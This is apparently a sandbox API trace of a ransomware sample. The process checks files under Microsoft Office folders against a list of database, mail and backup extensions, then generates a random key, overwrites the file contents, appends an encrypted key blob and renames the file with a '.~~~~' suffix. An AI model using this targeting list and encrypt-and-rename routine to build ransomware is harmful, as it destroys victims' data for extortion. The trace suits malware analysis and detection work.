	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0137.093] lstrlenW (lpString=".EQL") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0137.093] lstrlenW (lpString=".FDB") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0137.093] lstrlenW (lpString=".EDB") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0137.093] lstrlenW (lpString=".DACPAC") returned 7
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0137.093] lstrlenW (lpString=".VHD") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0137.093] lstrlenW (lpString=".DBV") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0137.093] lstrlenW (lpString=".dacpac") returned 7
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0137.093] lstrlenW (lpString=".sdf") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0137.093] lstrlenW (lpString=".accdb") returned 6
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0137.093] lstrlenW (lpString=".DBX") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0137.093] lstrlenW (lpString=".MDT") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0137.093] lstrlenW (lpString=".SQB") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0137.093] lstrlenW (lpString=".vhd") returned 4
	[0137.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0137.094] lstrlenW (lpString=".bac") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0137.094] lstrlenW (lpString=".mdf") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0137.094] lstrlenW (lpString=".BAK") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0137.094] lstrlenW (lpString=".BAC") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0137.094] lstrlenW (lpString=".dbs") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0137.094] lstrlenW (lpString=".vhdx") returned 5
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0137.094] lstrlenW (lpString=".NDF") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0137.094] lstrlenW (lpString=".dat") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0137.094] lstrlenW (lpString=".DBS") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0137.094] lstrlenW (lpString=".CKP") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0137.094] lstrlenW (lpString=".edb") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0137.094] lstrlenW (lpString=".PST") returned 4
	[0137.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0137.095] lstrlenW (lpString=".dbf") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0137.095] lstrlenW (lpString=".SQL") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0137.095] lstrlenW (lpString=".pst") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0137.095] lstrlenW (lpString=".dbv") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0137.095] lstrlenW (lpString=".SDF") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0137.095] lstrlenW (lpString=".dtxs") returned 5
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0137.095] lstrlenW (lpString=".db3") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0137.095] lstrlenW (lpString=".OST") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0137.095] lstrlenW (lpString=".dbx") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0137.095] lstrlenW (lpString=".DB3") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0137.095] lstrlenW (lpString=".DAT") returned 4
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0137.095] lstrlenW (lpString=".VHDX") returned 5
	[0137.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0137.096] lstrlenW (lpString=".ndf") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0137.096] lstrlenW (lpString=".DB") returned 3
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0137.096] lstrlenW (lpString=".sql") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0137.096] lstrlenW (lpString=".MYD") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0137.096] lstrlenW (lpString=".DBT") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0137.096] lstrlenW (lpString=".ACCDB") returned 6
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0137.096] lstrlenW (lpString=".fdb") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0137.096] lstrlenW (lpString=".bak") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0137.096] lstrlenW (lpString=".myd") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0137.096] lstrlenW (lpString=".DTXS") returned 5
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0137.096] lstrlenW (lpString=".ckp") returned 4
	[0137.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0137.096] lstrlenW (lpString=".dbt") returned 4
	[0137.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0137.097] lstrlenW (lpString=".db") returned 3
	[0137.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0137.097] lstrlenW (lpString=".TXT") returned 4
	[0137.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0137.097] lstrlenW (lpString=".MDF") returned 4
	[0137.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0137.097] lstrlenW (lpString=".bdb") returned 4
	[0137.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0137.097] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.097] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.098] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.099] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.099] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25708902142) returned 1
	[0137.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb2813f0, dwHighDateTime=0x1d60e1e)) 
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825550
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825550 | out: hHeap=0x300000) returned 1
	[0137.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5f58
	[0137.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.100] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.100] GetLastError () returned 0x0
	[0137.100] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.100] GetLastError () returned 0x0
	[0137.172] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.172] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.172] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.172] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.174] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.175] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.175] CloseHandle (hObject=0xc4) returned 1
	[0137.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce578
	[0137.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.~~~~")) returned 1
	[0137.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.213] GetLastError () returned 0x0
	[0137.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".scr") returned 0x0
	[0137.213] lstrlenW (lpString=".cmd") returned 4
	[0137.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".cmd") returned 0x0
	[0137.213] lstrlenW (lpString=".dll") returned 4
	[0137.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dll") returned 0x0
	[0137.213] lstrlenW (lpString=".bat") returned 4
	[0137.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".bat") returned 0x0
	[0137.213] lstrlenW (lpString=".cpl") returned 4
	[0137.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".cpl") returned 0x0
	[0137.213] lstrlenW (lpString=".sys") returned 4
	[0137.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".sys") returned 0x0
	[0137.214] lstrlenW (lpString=".msc") returned 4
	[0137.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".msc") returned 0x0
	[0137.214] lstrlenW (lpString=".com") returned 4
	[0137.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".com") returned 0x0
	[0137.214] lstrlenW (lpString=".lnk") returned 4
	[0137.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".lnk") returned 0x0
	[0137.214] lstrlenW (lpString=".msp") returned 4
	[0137.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".msp") returned 0x0
	[0137.214] lstrlenW (lpString=".pif") returned 4
	[0137.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".pif") returned 0x0
	[0137.214] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch="msp\r\n.pif") returned 0x0
	[0137.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.217] lstrlenW (lpString=".sqb") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".sqb") returned 0x0
	[0137.217] lstrlenW (lpString=".ost") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".ost") returned 0x0
	[0137.217] lstrlenW (lpString=".txt") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".txt") returned 0x0
	[0137.217] lstrlenW (lpString=".mdt") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".mdt") returned 0x0
	[0137.217] lstrlenW (lpString=".BDB") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".BDB") returned 0x0
	[0137.217] lstrlenW (lpString=".eql") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".eql") returned 0x0
	[0137.217] lstrlenW (lpString=".DBF") returned 4
	[0137.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DBF") returned 0x0
	[0137.218] lstrlenW (lpString=".EQL") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".EQL") returned 0x0
	[0137.218] lstrlenW (lpString=".FDB") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".FDB") returned 0x0
	[0137.218] lstrlenW (lpString=".EDB") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".EDB") returned 0x0
	[0137.218] lstrlenW (lpString=".DACPAC") returned 7
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DACPAC") returned 0x0
	[0137.218] lstrlenW (lpString=".VHD") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".VHD") returned 0x0
	[0137.218] lstrlenW (lpString=".DBV") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DBV") returned 0x0
	[0137.218] lstrlenW (lpString=".dacpac") returned 7
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dacpac") returned 0x0
	[0137.218] lstrlenW (lpString=".sdf") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".sdf") returned 0x0
	[0137.218] lstrlenW (lpString=".accdb") returned 6
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".accdb") returned 0x0
	[0137.218] lstrlenW (lpString=".DBX") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DBX") returned 0x0
	[0137.218] lstrlenW (lpString=".MDT") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".MDT") returned 0x0
	[0137.218] lstrlenW (lpString=".SQB") returned 4
	[0137.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".SQB") returned 0x0
	[0137.218] lstrlenW (lpString=".vhd") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".vhd") returned 0x0
	[0137.219] lstrlenW (lpString=".bac") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".bac") returned 0x0
	[0137.219] lstrlenW (lpString=".mdf") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".mdf") returned 0x0
	[0137.219] lstrlenW (lpString=".BAK") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".BAK") returned 0x0
	[0137.219] lstrlenW (lpString=".BAC") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".BAC") returned 0x0
	[0137.219] lstrlenW (lpString=".dbs") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dbs") returned 0x0
	[0137.219] lstrlenW (lpString=".vhdx") returned 5
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".vhdx") returned 0x0
	[0137.219] lstrlenW (lpString=".NDF") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".NDF") returned 0x0
	[0137.219] lstrlenW (lpString=".dat") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dat") returned 0x0
	[0137.219] lstrlenW (lpString=".DBS") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".DBS") returned 0x0
	[0137.219] lstrlenW (lpString=".CKP") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".CKP") returned 0x0
	[0137.219] lstrlenW (lpString=".edb") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".edb") returned 0x0
	[0137.219] lstrlenW (lpString=".PST") returned 4
	[0137.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".PST") returned 0x0
	[0137.219] lstrlenW (lpString=".dbf") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".dbf") returned 0x0
	[0137.220] lstrlenW (lpString=".SQL") returned 4
	[0137.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC", lpSrch=".SQL") returned 0x0
	[0137.220] lstrlenW (lpString=".pst") returned 4
